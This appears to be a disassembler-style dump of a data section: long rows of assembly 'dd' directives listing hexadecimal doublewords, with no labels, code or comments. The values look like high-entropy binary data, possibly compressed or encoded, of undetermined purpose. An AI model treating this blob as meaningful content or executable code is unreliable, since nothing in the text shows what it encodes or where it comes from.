		dd 0A6A091ABh, 0B13CA1FBh, 67CC6Ch, 0B72D9058h,	0A96D2Ah
		dd 841DF70Fh, 96C1CD9Bh, 0DD32D114h, 0B7007E8Ah, 6DC987DFh
		dd 443A55h, 90E25C25h, 7C10FEE8h, 94700300h, 18AE4BEFh
		dd 5EEE7Dh, 0CF14D79h, 52AA9CC9h, 0BF37770Eh, 0CDD6E0D0h
		dd 0E63A5382h, 1986Eh, 24B3C518h, 4198521Ch, 0E2277624h
		dd 57F02D00h, 0DF19C7h,	5ABEC914h, 44C24D1Ah, 0CB8FAD00h
		dd 0F96991B5h, 67A00D3h, 733DF5DCh, 0D00D7B1h, 6CB9C032h
		dd 0D675B7h, 0D9CA9F74h, 0D1726271h, 0D365CD00h, 0D0E2044Fh
		dd 0A72D3C7Ch, 5FCCEC3Fh, 0CA109B00h, 71C3FE90h, 56E92A07h
		dd 0D9B3A844h, 9422B885h, 0C15707D5h, 80E3E550h, 0DC41CC02h
		dd 0F97DA00h, 8BB50610h, 68E60A8Ah, 8F0366h, 77A4A4Dh
		dd 0C700DB50h, 60E71BE5h, 2CA1A3h, 86E23280h, 1CA520FCh
		dd 0D7432600h, 0D30FD973h, 91723Ch, 0AB93616Fh,	0DC90542Bh
		dd 81B96600h, 651FF402h, 764000A8h, 0B1BEA63Eh,	5500F3DDh
		dd 496ADE8Fh, 42A13Dh, 0B834B3CBh, 9E47FF85h, 225F0D00h
		dd 1FC775EAh, 799F829h,	153AED17h, 0D92EB064h, 8B01BF09h
		dd 0CA1C4E97h, 47D0F6C6h, 43BA0024h, 0DC51F1C2h, 0B100B519h
		dd 57B8A40Fh, 3023E7E0h, 0D960A9C5h, 74004CCFh,	0EE78D3BBh
		dd 110172Ch, 0AF15FBF6h, 0DD800EF1h, 4F1083DAh,	0E9BD2E14h
		dd 0D6DC8A6Eh, 3EB100F1h, 0D9C60671h, 0CA50231Eh, 0FD0F1D2Ch
		dd 9DE475h, 2C4296BEh, 920E02FBh, 1CF0F1ACh, 21276BE3h
		dd 69870A0h, 4792BFECh,	0D800197Ah, 0DA38AA16h,	0E5B0EDh
		dd 592579C3h, 5670A478h, 0D3FB2802h, 0C0105227h, 6DCCC3h
		dd 5E8A64Bh, 661FC58Bh,	0B4031703h, 0D8B3EC52h,	83FAD2h
		dd 0ADB9F1DAh, 0C35B8477h, 684F2CC0h, 8CD6B6h, 13F02182h
		dd 5CB2083Fh, 5D631500h, 0BF973E09h, 714F00BDh,	236034Dh
		dd 1000B435h, 397C4698h, 0DF4C45h, 9F784AC1h, 5979B287h
		dd 82486D7Eh, 0B3570085h, 0F4581C52h, 0C50707B5h, 9D38BF7h
		dd 3F00A4F8h, 0A034CB64h, 3EC97Ch, 0C1BCC5AFh, 0A444F721h
		dd 0C497724h, 72A338Fh,	34E36958h, 5CEC80CDh, 0E64D0702h
		dd 6130249Dh, 0E8F8C5ACh, 8030BA7Fh, 5692389Fh,	0E8D0A00Fh
		dd 378F647h, 2A2E790h, 1AA05ED3h, 5F500C2Bh, 5DB024F1h
		dd 75EB091Fh, 0A9D6A480h, 0F2391Fh, 955810D7h, 2CBD256Ah
		dd 0CBAE8900h, 838E21A8h, 0C054E62Ah, 36F44BFAh, 3050718Bh
		dd 0F80064C3h, 7766BB16h, 0B20C7E2h, 0E415826Dh, 0D69ED180h
		dd 8A009F12h, 31615C83h, 51ECF4h, 0ACEFA8D7h, 7F1824A6h
		dd 19597200h, 7A27702Dh, 7C6009Fh, 8BA41702h, 0FE00971Eh
		dd 0AE0359BEh, 0EC5BB6A9h, 3ACDFE64h, 0E10FEA3Fh, 12E7C872h
		dd 8F85081h, 8A4CC992h,	2CEF0175h, 2EF9A9E3h, 0C01E67D0h
		dd 9326020h, 0C5032D5Ah, 0CB623A2h, 8E4A3056h, 39807E20h
		dd 9C5B9403h, 0C0BED56Dh, 91ED09h, 35A3C324h, 6A33F207h
		dd 0F6520600h, 0CB5FD4B2h, 64381E56h, 0E33A0009h, 37F5C44Ah
		dd 191E4076h, 0C09EE6EFh, 0F9B20CC1h, 0DEF8E9BBh, 3690082h
		dd 0F0E0A56Fh, 0AB006C93h, 1A45B13Ah, 0B8C8220Dh, 489B00D7h
		dd 4BF98D3Bh, 2424F6A4h, 1A0066C7h, 8849F52Ah, 0D811C0CDh
		dd 40B579CEh, 3A07297Bh, 3C8621C5h, 1C202E16h, 0C051BCBBh
		dd 83D0644Fh, 2700FD01h, 0A534BD1Bh, 2802B197h,	27846FBFh
		dd 7878407Dh, 0B0009E76h, 2EC0EC5h, 1359C27Ch, 18B5FB2Eh
		dd 1F7FA8F9h, 57CBA400h, 5FE86A25h, 882B53DAh, 0B9792007h
		dd 3341C416h, 0B2680047h, 0F54A3938h, 0C83980DFh, 133F7F67h
		dd 83443DABh, 4F4D07A4h, 0DAACC86Ah, 974A0014h,	0C1B1587Eh
		dd 43008530h, 208664B3h, 0F4F19CBEh, 1EE7F63h, 0F3EF485Fh
		dd 204490ACh, 0F500A218h, 74354DCh, 50081B2Ah, 5BDC94h
		dd 551D7A73h, 0C89CC7C0h, 1D98CAE6h, 71EC2FAh, 699DDE17h
		dd 3AFF647h, 0C19BEC0h,	0A90B584Ch, 28A32C00h, 85DEDCADh
		dd 0CC41AB60h, 9A57521h, 328CB99Fh, 0A43019C0h,	920D6901h
		dd 34CC2C38h, 797015E4h, 0E139CE54h, 1BE0CB00h,	1100CD3Ah
		dd 0F3FE3074h, 4A64A8Ah, 663D9771h, 96D2C00Dh, 0C03740B6h
		dd 39D088F5h, 75B0FDC1h, 1D90009Fh, 0CAF2283Bh,	6A0010DCh
		dd 811F9617h, 3B467A86h, 3B878E20h, 402B2755h, 0DF8F32C0h
		dd 6863000h, 0EE65B803h, 1D484861h, 4DB50B0Eh, 2E99D743h
		dd 3DC68DD0h, 433E6A1Dh, 47712BC3h, 0D8D00ED2h,	1720CFA2h
		dd 0E29FAD2Eh, 548CA706h, 3CE096E3h, 4C3AB5E5h,	0F4133Ch
		dd 50F0D629h, 118A15DAh, 4900B871h, 0E8CFA93Bh,	0CE78C7h
		dd 0D3C6225h, 20B2504Ah, 7C440C00h, 5940D474h, 71EB042h
		dd 0CEA74746h, 0F9B9D2E6h, 8A0F0496h, 80B8C5C4h, 1C95171Eh
		dd 0B6DA00BCh, 487E58ECh, 33A9740h, 77B507C4h, 0D5B3C838h
		dd 0A291086h, 670C0088h, 950237CAh, 9DF7001Ah, 0FA2545BEh
		dd 0D00081DCh, 0AD2CC3C4h, 8B223Fh, 0A8586C2Fh,	0A21E8896h
		dd 3BD41C00h, 9128682Eh, 1CB3ECD7h, 9E6D1735h, 0A295007Dh
		dd 0A1978603h, 1DB0C73Eh, 0A5DF668Ah, 83DF2F89h, 0B82C0A86h
		dd 0FC9AACh, 52F6495Ch,	0C66A72BEh, 73D2A21Ch, 22C06BC7h
		dd 0BC009CFEh, 3221613Ch, 0E0C900DFh, 2CC27EB7h, 316DB0Fh
		dd 3B04F445h, 0FCC01436h, 1C3BBDF0h, 0F82D4668h, 3866C300h
		dd 45F1BEAEh, 0DAA81B50h, 5CD82200h, 9ACE70C0h,	8A270051h
		dd 42E94D9Ch, 90008018h, 0B225A207h, 27D9Bh, 0ED6AFDA1h
		dd 4F4362D8h, 373E87EAh, 0E8F792A7h, 7AE56340h,	0C6C169h
		dd 8C4FBEC7h, 2E7CD718h, 561FCD03h, 0E8DD1A3Eh,	17DBB25h
		dd 0FFB7D897h, 303641CFh, 7900F8E7h, 20E3B001h,	183E5Bh
		dd 6A8A5FEAh, 0E219C4Dh, 2D00C17Eh, 744F1EFDh, 3DC3E6FBh
		dd 33AC3C7Eh, 60D80062h, 0DC6CAFC6h, 0CDEEF600h, 0B5C7F7E7h
		dd 0CFB052h, 25928846h,	2FD40511h, 5D108C07h, 0AB934731h
		dd 0B3FEC840h, 0D4A004Fh, 5CFBFAAFh, 0CFEE31A3h, 34632B00h
		dd 4674C0F5h, 1BF78B0h,	0BB4E7021h, 0D41765F2h,	0D03894D7h
		dd 0C908801Dh, 0B9D5C802h, 0B6E30052h, 1AC104ACh, 0F90033C3h
		dd 0E67D611Dh, 12CB6Eh,	14450555h, 2C1F0D26h, 24138800h
		dd 42A9B3Dh, 0F9ED5CAEh, 207FCB00h, 0EC38F694h,	0F11A650Ah
		dd 3DE86Bh, 61B7219h, 981FCE17h, 0ACA700ABh, 51B40871h
		dd 9900C5B1h, 86789B88h, 0AE4E50h, 0DDFDCA2Eh, 159071F9h
		dd 94D84903h, 98A3836Dh, 17124BF5h, 118C204h, 0EAB77570h
		dd 6C642094h, 0F6C71601h, 2BCA31BDh, 182D43CCh,	0A293743Ch
		dd 3400A924h, 23E29CC8h
		dd 0C9F9Eh, 282DC6F8h, 1FC43986h, 0B8D6540Ah, 1800CB34h
		dd 0DD8C0F55h, 40D032Dh, 2E8D5F6Eh, 6998A2D0h, 56001879h
		dd 0E74C9E72h, 0F9C8B94h, 220A30ACh, 4FB7F40h, 2B0BEF28h
		dd 8020CB88h, 77D45E53h, 0E2D20056h, 0DCE35C1Eh, 9800413Eh
		dd 7B8D2CEDh, 6F61C2h, 48B7F275h, 943FB967h, 1B524500h
		dd 0FDA9D1A2h, 1FEC9046h, 406A3803h, 82BF368Bh,	7600B5D3h
		dd 0EEB3CE4Fh, 0E33E41h, 20E226DEh, 0F9149FFh, 8A0A5A00h
		dd 820C5670h, 0D7B0022Dh, 2A23C2D3h, 262F2440h,	57DD1D00h
		dd 53B1E23Dh, 0A270126Fh, 7BC40097h, 0DE6EDECh,	1A109D60h
		dd 0F0BDBh, 98885842h, 9A164DC7h, 0E600B4B0h, 0CAC512F4h
		dd 0E584B1Dh, 0B54C9874h, 3F89C440h, 0C9006CA2h, 0D1BD97B8h
		dd 62F540h, 6FB730Ch, 9AAE5F7Fh, 0DBD34D00h, 9FD5D190h
		dd 0E3830711h, 80A9856Ah, 0BDE62225h, 404CBCE4h, 494C0F90h
		dd 0F1C0A00Ah, 1AD32Dh,	0B3F64261h, 8E70F431h, 0A12613FEh
		dd 0FA00DCE6h, 9A691D75h, 0E148000Eh, 934272ABh, 4E00DA85h
		dd 0FCF42D0Bh, 986FC7h,	7BB4DC61h, 91D05171h, 1AB54E13h
		dd 0F85F00AAh, 0E342982Ah, 392E700h, 9D246AABh,	0AAAE00F7h
		dd 49FA8CD6h, 811E0DD1h, 4C431A76h, 0A73CDEE2h,	3B9FD770h
		dd 0A09A0Eh, 9719A96Dh,	28D86684h, 37E3F900h, 6B41AC63h
		dd 0E7C98E7h, 0FF22EFD5h, 8DD11580h, 100E939h, 0F6F13E62h
		dd 0C1AE1C9h, 1280CA10h, 5B0091E8h, 0BC03B2B0h,	94333Eh
		dd 0D1522870h, 63FE997Dh, 9202E800h, 0DBDE594Ah, 0F47F7Ah
		dd 4FE7E1F6h, 0E3359FA2h, 639D5400h, 6E448B03h,	177F00B9h
		dd 0E18A62A9h, 25981C48h, 0C07DB882h, 7BC7D869h, 6CF1005Ch
		dd 0DA0C724Eh, 4205C940h, 18863D33h, 0FC37BC00h, 96BCF4h
		dd 38D5C467h, 3C2CFD2Ah, 9EF72402h, 555040BFh, 0CB839500h
		dd 673BC459h, 0B2FB00FDh, 0BBF179A8h, 58E900D3h, 2859FABEh
		dd 4701CDBFh, 116AE0D4h, 4DCC19F1h, 32D784Ch, 14575BE1h
		dd 0CCE9CB3Ah, 0F467C8B3h, 221E070Eh, 558840C4h, 4AD524h
		dd 0DDADD0B2h, 0D47B4F78h, 0F4B96A1Fh, 0E00A40CEh, 15ECB43Fh
		dd 0A2940004h, 3CD1B7DEh, 78017142h, 0B3655B24h, 0D0DC291Bh
		dd 0A7C901FAh, 0CA9F8F75h, 9956C438h, 0A281C400h, 52BA8A06h
		dd 6D3400EDh, 0CDF0A059h, 42009A05h, 0FCF17DFEh, 20D9D1h
		dd 1F3F7C1Eh, 66858D84h, 0D40C2D00h, 0DF95057Dh, 2B540E98h
		dd 4004EFAh, 0BDC7B635h, 34D3E400h, 0DC99D8FEh,	0A6A700C0h
		dd 0BD1A575h, 7E01F8E0h, 51190228h, 61FCAF26h, 492A00B2h
		dd 43820EBh, 0D000F2E2h, 6A2BF8C3h, 127F518h, 4A790B59h
		dd 0D9350831h, 0F49F71D4h, 0DB00657Ch, 0AD336488h, 262E5F16h
		dd 0C0D05B6Ah, 689AD13Bh, 0CDF22103h, 0E242479Eh, 323C602Ch
		dd 0CAD81D81h, 0C0E7DE4Ah, 2DA665BEh, 4F0113ABh, 49B4D648h
		dd 3680161Fh, 17F46934h, 6B062B50h, 5AA407E0h, 0B5E70056h
		dd 81F10A2Ch, 0FC002991h, 7F084D93h, 181F78B9h,	0C8A145F9h
		dd 0FF5C10C3h, 0D66A073Ch, 69237FF6h, 0E10007Eh, 5558D9A4h
		dd 7D79BEF3h, 0CB150403h, 0DF504EBDh, 0C7DD29D1h, 92E089CDh
		dd 0B64005Dh, 6BC5E39Fh, 7A001E03h, 6042DABh, 277F28h
		dd 9072F234h, 130FD69Fh, 9A0F0D7Dh, 0A0BF2960h,	0F05FE5FEh
		dd 71B200CAh, 2B5958C3h, 487F4D53h, 0D105007h, 4E207202h
		dd 0FCBF5Eh, 0E24A85D5h, 0ED918432h, 94002C90h,	6950E68Ch
		dd 395724h, 31CE93B9h, 0E2E5E9D4h, 0EE896D00h, 0D336A046h
		dd 0AF54007Ch, 0A457754Fh, 16F831F7h, 0F51DDE00h, 8099A889h
		dd 0D7DA00DDh, 0D5BD8B57h, 0E9000856h, 47385863h, 95334Fh
		dd 0BEB470E4h, 2D11F40Ch, 6FD09200h, 8C30C918h,	643700EBh
		dd 0DAFD5E8Ah, 0E7CE7E5h, 0BA94B703h, 0F0E0F268h, 1E73DD6Dh
		dd 43257E99h, 0E8879243h, 95C8E000h, 0AE414A2Bh, 0E3C60231h
		dd 0BBB6D638h, 0BC188087h, 7C3ED1E6h, 0F63A1368h, 2B2DBD00h
		dd 38BEEh, 51D5E2CEh, 235510CBh, 3BD9C200h, 0B5AF2F5h
		dd 2DAE001Eh, 0C4F7B80Fh, 0C0024EAh, 7D84F96Ah,	0E14110h
		dd 0C16FCF85h, 8B9205D8h, 261EA200h, 0E4A7B50Fh, 0FE6B01A4h
		dd 0D1208956h, 62DAC4D8h, 93F11600h, 908E99B6h,	0B2D502EDh
		dd 0B50E4B6Dh, 6A56C540h, 34BE2F00h, 0C35AA045h, 5CC83FE1h
		dd 79CB3000h, 4D2E35Bh,	55BC7C00h, 4DDD6E26h, 2CEC0002h
		dd 802BF5F8h, 0F0078378h, 5B9D252Dh, 0C4C340CFh, 0D264EBh
		dd 51127F21h, 1B62B0D3h, 4DBB0501h, 8E9736BEh, 0FE07FCh
		dd 1CD8CF3Fh, 0DD239E75h, 625B08C0h, 0C9D232h, 0DB6DD705h
		dd 0A0DA454h, 0FEA5F000h, 787BF92Ch, 0B49A00C8h, 0F5FD40CDh
		dd 0B800D8FFh, 82B0CC9Eh, 5BA02Bh, 0C334C0BAh, 8198A4AFh
		dd 0B01DE7Dh, 3333B26h,	0A880C943h, 9F70E92Fh, 5300A7FAh
		dd 6D0B3A9Ch, 987725A3h, 0CC2B0016h, 0B1AC8A95h, 0F7004844h
		dd 38D96FC8h, 0BE6B98Bh, 7F02EE2h, 52BCE80h, 80C08482h
		dd 0D2929154h, 7FB3014Fh, 45BFAAB4h, 70D04042h,	0D10050A3h
		dd 0C5E55422h, 741577h,	0ECED0E38h, 47AB98B4h, 40F37907h
		dd 85A091F0h, 82DF46h, 0CCF8176Bh, 0D1FF29D0h, 1EFA6C07h
		dd 799089BFh, 2423Fh, 1EE8421h,	4DA75282h, 1D6BD63Ch, 0DA409451h
		dd 8D29C171h, 61640069h, 9C0F3FC2h, 94074FEFh, 23C812F1h
		dd 960220C2h, 0E8620820h, 97478B6Fh, 68C0BF17h,	9F07EEh
		dd 7FAC4D7Ah, 0BA3F9452h, 8FD53700h, 8203D380h,	954501CFh
		dd 651802D6h, 0C7488F6Ch, 5772611Dh, 63F4D428h,	0C0310A64h
		dd 8C0AA6h, 32FFAB60h, 68038153h, 1F52CDD0h, 0A0BED3h
		dd 0B8418951h, 0B4109788h, 0DC3F841Fh, 0BF8EC880h, 2F5B7Fh
		dd 4783AB36h, 391CF59Eh, 0D3DA7000h, 87D1BBD4h,	0AA653712h
		dd 449BD0F0h, 8A7A5297h, 194B0612h, 4140C61Ch, 2BCB1CDh
		dd 0C040F4CBh, 0FEACA6B9h, 99011E1Bh, 87A79B3Ah, 80584ED7h
		dd 0E57B25E0h, 985361D0h, 0A923C180h, 8DE85782h, 10E900A2h
		dd 0F7933A9Bh, 0C92815B6h, 6C00F0EEh, 947FDDDBh, 0B8453h
		dd 50FF83BDh, 1B7BACA0h, 0D05AC500h, 577C5902h,	0CCDD007Fh
		dd 475B61D5h, 2F3CC9EDh, 0A370042h, 0AC111A56h,	2D176D6h
		dd 3873CAE6h, 20945D97h, 12FA3608h, 0A5D241CAh,	9889F0F3h
		dd 221688C7h, 38529E30h, 86D0A8BDh, 9A140073h, 75988C83h
		dd 740A3005h, 0C8A84036h, 822DD982h, 853444DBh,	71ED7004h
		dd 53ABFA2Ch, 39917B00h, 6D987h, 13485F2Fh, 1EF6520Ah
		dd 79DB4000h, 8FEAA6A3h, 0FF875ECh, 0A2B2F537h,	9EC52720h
		dd 0D20171D9h, 3BDF363h, 0F8E3D770h, 53BCF1h, 7A65A35Ch
		dd 69EC462h, 3A0E7CE0h,	2F29B2h, 0D919E1F7h, 0FB8D1732h
		dd 0CADD0042h, 2B89DE45h, 9C009575h, 0A94CF056h, 0FBC1Dh
		dd 0D9091327h, 11EEA868h, 783CDCF0h, 241580A0h,	62FA3E4Bh
		dd 385000Dh, 29053D81h,	33EAE16Bh, 7BD52600h, 51417806h
		dd 0FC7D00CAh, 59FA9675h, 0F20EF14Dh, 0E0714488h, 72E27980h
		dd 0EDBD00B2h, 1442DE7Ah, 9400B3DCh, 0C79195CFh, 160E1E7h
		dd 5274475Eh, 3065E51Bh, 0B200446Eh, 0D629A064h, 82CE4Bh
		dd 0C166A762h, 65ADDB97h, 77C3F003h, 0F057A863h, 39F36F5Dh
		dd 1B01B113h, 0EC36F697h, 0AB742053h, 5C81670Fh, 7E3F001Dh
		dd 72526B8Eh, 16FE1DE8h, 0FDA8C38Ah, 29F8FFA0h,	19007675h
		dd 8E8CBDEAh
		dd 0F06F8D59h, 0FC0A007Dh, 3221F872h, 140007A7h, 0CC9F7391h
		dd 0AE02A9h, 8F975474h,	8679B155h, 9399B000h, 1F6330B9h
		dd 4B39006Eh, 0BCCA4A92h, 0B00027E3h, 53083B71h, 0DCD543h
		dd 0FE4F29C0h, 0C9F8D326h, 1728E0A0h, 14ABB900h, 0C62D8FB1h
		dd 0F01E0E53h, 3B405B6Eh, 96DF685Dh, 4A889500h,	6FBF8B2h
		dd 65FD008Ch, 6ECF6983h, 3E1F68C1h, 75DD6C37h, 0A140D65Ch
		dd 0ACB24DF2h, 0B0AF5C25h, 0AEC6EF0Eh, 0C528DF20h, 0B91C8D8Eh
		dd 0ECC1271Bh, 0A37CF934h, 0FBDD4080h, 297B89A2h, 0F409B507h
		dd 5A13859Ah, 0DCA5DF10h, 6E45C800h, 51C7C5h, 24273C0Fh
		dd 598B31EBh, 2F23A600h, 4DBE35E3h, 0BB9005Dh, 4E1D0528h
		dd 0D40075F7h, 6FCE6A85h, 1FA4FE63h, 0FAC8F0h, 0DD36B3ACh
		dd 0A038D628h, 40C40019h, 6A396F26h, 0B74E0015h, 204D02ACh
		dd 519038FEh, 80B6EA00h, 8B9FC362h, 8A6A1D04h, 414E803Eh
		dd 0B821E6EDh, 0B6697A02h, 40A2F1D8h, 30E98755h, 76ECBE78h
		dd 6E0008E4h, 63A62288h, 3BEDB4h, 0A5A2D9CFh, 37A81D1Bh
		dd 76FF6D00h, 0DFB0B3C2h, 0F6B3F63h, 24BB0E87h,	0E0479002h
		dd 3603E337h, 0BE8183F5h, 49C5AC19h, 2704CA0Eh,	1A40C8BDh
		dd 94AE01Dh, 77180BEAh,	0F8805C8Eh, 91C6C505h, 0F4D30200h
		dd 0BCFDBD67h, 0B0A90046h, 8D760DEEh, 31017462h, 35F701CFh
		dd 0E4702B4Ch, 0CD650F03h, 6A035BEFh, 43C0043Eh, 7400C00Bh
		dd 0F68A9A7Eh, 77B23BFh, 0DC9DB934h, 0E95420D9h, 53091E2Ah
		dd 73E4A6Ch, 0CF0702A0h, 0AF1550E0h, 0A0EF008Eh, 0AC042412h
		dd 0E10080ECh, 0B4B9B525h, 0E81DEBh, 0F78B59DDh, 0EC8E15B3h
		dd 23F19E00h, 0C611E78Fh, 6E7F007Eh, 1E957429h,	9F000F93h
		dd 15571BF1h, 0A5F41Dh,	0DEC5F0AEh, 0EB9E946Eh,	2E1CB500h
		dd 4C53B819h, 3D02242Fh, 68160034h, 0E13C55CCh,	342B4Ch
		dd 7437EB99h, 0F7C345h,	68977223h, 0A17B1282h, 3C245000h
		dd 2DA57DDAh, 0ED0F79DFh, 7930006Ah, 29DDE4E5h,	4E62F003h
		dd 0F012C7ABh, 2C207775h, 0DC58B3h, 45444C95h, 0BB00EB6Ah
		dd 49A8527Ah, 0F085FCh,	4E757950h, 0E753440Bh, 83CC0A0h
		dd 8AA64C05h, 841FC9EEh, 0CDA1BC43h, 1D83E7DBh,	0D34B01Bh
		dd 0B89900E2h, 0FC6611B2h, 9B07187Dh, 33104730h, 0F8BC9483h
		dd 882085h, 0C9C8444Eh,	64D26B17h, 0D8576800h, 0FBFD2613h
		dd 298D01CBh, 9EEDB722h, 4C99C8FFh, 0D27D1B16h,	2CA05C00h
		dd 51F1B2h, 432BAB40h, 2379E632h, 0CD241F00h, 92312281h
		dd 0F2684862h, 70254B00h, 0D37DCE26h, 99A0667Ch, 0B7004895h
		dd 0F3D9D2A2h, 11F7A17h, 533F35DBh, 80232058h, 0E8CB2DA8h
		dd 0FCB3AFh, 0E4F566C4h, 0BCFBD71Ch, 88EFEE00h,	0F7F614E7h
		dd 1EC7B59h, 8B77E475h,	4047CA98h, 25D2CEB8h, 5169C000h
		dd 0B003A68Eh, 90553AD0h, 0A26226h, 0AA74CA5Fh,	0C13CDBE7h
		dd 89DFB861h, 80D2CC59h, 2C412703h, 0A228C381h,	0C5E833DAh
		dd 72008F56h, 207A4315h, 78FFF0h, 6C5D34C9h, 12631335h
		dd 62C5B303h, 0B8020637h, 4B9A58h, 1E251BE5h, 0B47B17FEh
		dd 0DF569B16h, 0EB0B0Bh, 0C340D7FFh, 0DCFB0071h, 0B129279Eh
		dd 0F009034h, 0CD899D70h, 193C4A0h, 3CCC0824h, 0DC011036h
		dd 1E00AE0Ch, 0A5777ED8h, 0ABFB9Ah, 83BEAAB1h, 0FD829236h
		dd 0E3029800h, 54B9A029h, 0CB460095h, 0D3F34A78h, 10005041h
		dd 71303ACAh, 177638D1h, 0A7D226h, 0E6B56718h, 4EF4B909h
		dd 56C0D500h, 3D34F72Ch, 0D24807DDh, 60128E55h,	0E2A1ECC9h
		dd 0F2D0D803h, 0C0660141h, 1F2EA9AAh, 0C072086Dh, 223AC7E1h
		dd 26007D32h, 0A59C6CBFh, 5D204F9h, 87156380h, 3D20C0A9h
		dd 9030727h, 4659376Bh,	9540873Ah, 1D83C6h, 48FD34A7h
		dd 49D7BEFEh, 5808C700h, 0EDDE1501h, 0ADA01766h, 32B400CCh
		dd 69CA9D57h, 830E4700h, 0F8B4EBD9h, 0E01800F3h, 0EFA829F1h
		dd 9D7F913Ch, 88DE8E00h, 235271A9h, 78621C18h, 0A82240AFh
		dd 4E9E8229h, 0A0070E4h, 16D0481Ah, 110B4F4h, 52CDDACEh
		dd 3060A030h, 0F92802C0h, 2300EADBh, 7C2E1B54h,	4D1235D4h
		dd 0B1068C59h, 38BD78A3h, 0BCD30A07h, 20CFDA72h, 0E05CD7B0h
		dd 8228C08Eh, 770F5452h, 518B59C0h, 7DEC23h, 0DF7022D9h
		dd 0C23AFBEEh, 87DC2600h, 0DB8C0872h, 3DE2C058h, 0DE5DD8A0h
		dd 2004496h, 0B83C207h,	75778BDh, 0F3103315h, 0D6ACB043h
		dd 0D3EAF8E7h, 6805061Bh, 857DA911h, 1C451ECh, 37FB0BD8h
		dd 0FC812F10h, 91015EBCh, 42BB9DACh, 0DEF884F8h, 0A8801E46h
		dd 0E05AC016h, 0F7220B64h, 0D140BB00h, 180C851Ch, 0B07A0076h
		dd 3E9D2BE6h, 3078133h,	9711D032h, 0BC03F547h, 0E625E06Eh
		dd 0CEB23031h, 0BB6F44C0h, 9B76A40Eh, 758E8061h, 0DCAC63h
		dd 911DDEAh, 1253D6BCh,	0B05F9B2Eh, 0CC6BCA00h,	285BD21h
		dd 0C38F2925h, 0F0E8C236h, 5F008704h, 6FEF9B7Ah, 1E8D398h
		dd 552E4A69h, 4134D9B2h, 0F00599C3h, 0A6006C7Dh, 0FF48B06Fh
		dd 0E76885h, 86BC1B17h,	7DDFBE98h, 76A2270Eh, 3161B839h
		dd 371A07DAh, 3008C0B6h, 65343019h, 4D033Ch, 1CCBE18Ah
		dd 9652F6h, 388509E0h, 0FBE54E55h, 0A00B90h, 7007B103h
		dd 0A56D5E89h, 37BA51E0h, 48B7019Ah, 8D148C8Fh,	290509Fh
		dd 0DF03B198h, 9B21A3A5h, 4380D0A2h, 0E42E193Ah, 0F01DACE2h
		dd 717E1833h, 0EEBA5000h, 739302A6h, 48C9624h, 906B14D2h
		dd 0D4DF4F38h, 0A4E1780Eh, 8081CEC9h, 5B79B851h, 6DCB00C7h
		dd 0E733C65Dh, 6300826Fh, 8273843h, 2B725Ch, 0F0456952h
		dd 8C098603h, 89FB7D00h, 0C49408FCh, 1B28C007h,	72A006C6h
		dd 0CF7CCE03h, 0E8A8F786h, 0C54746h, 613E1623h,	60E8BAF8h
		dd 41179800h, 0F9FA8F39h, 0CCA000C0h, 352F3422h, 25F63068h
		dd 120F20FEh, 11DE34Eh,	66E52DDAh, 1690F8h, 0C70BCCAh
		dd 0F20632AAh, 0DA501700h, 0D501FC92h, 309CA0A3h, 0C01A013Bh
		dd 60B8FAC8h, 43E6FC3Ch, 0F784BD3Ch, 16908498h,	63677D00h
		dd 33CE1129h, 0E469022Bh, 0D39FF65h, 0C0C793E0h, 51CDBB03h
		dd 0F1D6281Ch, 0CFE48777h, 0BE3200C6h, 0EAB66833h, 4518F2E5h
		dd 0C8A92916h, 0C8303A2h, 2A142E40h, 925FAE00h,	8C2CF853h
		dd 0B814A051h, 0C61E077Ah, 806524C0h, 280CD257h, 0A187EC00h
		dd 0AFA220EFh, 6FDB06DDh, 102C19DFh, 8E390C0Fh,	0DA9C83CCh
		dd 6A2EF8A9h, 15F660h, 0E6C07546h, 0D489CF9Ah, 1CAD5D00h
		dd 9E262127h, 1ED170CBh, 93574Fh, 3D6BB60h, 0C003BE9Ch
		dd 197591CFh, 0F662C85Dh, 0FE7F0E3Dh, 9480BBEFh, 0D33A025Ch
		dd 80B21501h, 1260965h,	47DA8741h, 0B496F0h, 24DBDC38h
		dd 978F9EB6h, 0C92B8600h, 0B2674D0Fh, 84990325h, 65FC9FA7h
		dd 0E08322EBh, 39378EE0h, 0D8C5F400h, 6E254C9Eh, 0BED400BFh
		dd 0A4424A15h, 0FD3BA821h, 59188E32h, 0E7E5005Ah, 24367572h
		dd 3DD749h, 0A28A3D4Fh,	0ED00716Dh, 1FEBEA06h, 0D03528h
		dd 0A3873AA6h, 71890E38h, 0C8073D00h, 4E1AF55Ah, 3FD5003Eh
		dd 0C2723CD4h, 0D101F737h, 0AC421484h, 7DC4F921h, 0DC80311h
		dd 85B1410Bh, 7A83FD3h,	610FFDEFh, 0C782D1BFh, 0E8207DC6h
		dd 0E7B89Bh, 2AA397EEh,	83DC2723h, 79045FECh, 6F6CAAEh
		dd 0E3D04A87h, 78A8539Fh, 2826380Eh, 2C03BC4Ah,	4F0087B3h
		dd 5A183F4Ch, 0BC45009Ch, 0F982ED44h, 0C90C023h, 16BE3A3Ah
		dd 5100D7FFh, 1C2F30CFh
		dd 0BCF700A3h, 0BB4BFA05h, 0B601924Ah, 0AEF8098Ah, 2ED08344h
		dd 155A000Fh, 22D58F1Ch, 0F303DE9Bh, 0B6AE72B7h, 0B87B097h
		dd 0B92500EDh, 0D56F46D7h, 8A002873h, 400650CEh, 0C14991h
		dd 0C04F2DCBh, 17B2A29Fh, 198AC900h, 1D634D36h,	0DE023EDCh
		dd 5B951500h, 0FDFAD4F7h, 375F302h, 0E84A2B0Dh,	9394D4h
		dd 0CA6BF12Eh, 0E7A92297h, 0B41E6670h, 0A4804C92h, 7AA3B252h
		dd 9A9E0035h, 0F0DC20B5h, 88004E22h, 0D2C6CD38h, 0D1A7A5h
		dd 62C9B3E4h, 9DB4FC8h,	0FD00D0E6h, 5917FB60h, 3003A66Fh
		dd 0A1DEA510h, 5B0008AEh, 3B726A88h, 14F2B47h, 26430DCAh
		dd 808984ACh, 0F8CDD2AAh, 0A7B78h, 0FB2D01CEh, 4E83AD53h
		dd 1DE5E400h, 0C90CA0D2h, 0EA1C004Ch, 7607AE06h, 0B904A390h
		dd 249B0B1Ah, 1DE40BF0h, 4E95F736h, 0B88032E1h,	38136673h
		dd 0EDC38A1Dh, 58B91B07h, 7C976420h, 0A65D07B4h, 50441CFBh
		dd 9FE5FA93h, 0C67A400h, 0E2E7373Bh, 0DDD0043Fh, 0C0C6742Fh
		dd 4DE02997h, 0D4E4D600h, 7E6C4E03h, 303F1CFEh,	341B80A3h
		dd 0B685B8Bh, 0A4AFAD01h, 57CD964Ah, 0BAA0A13Eh, 2303796Ah
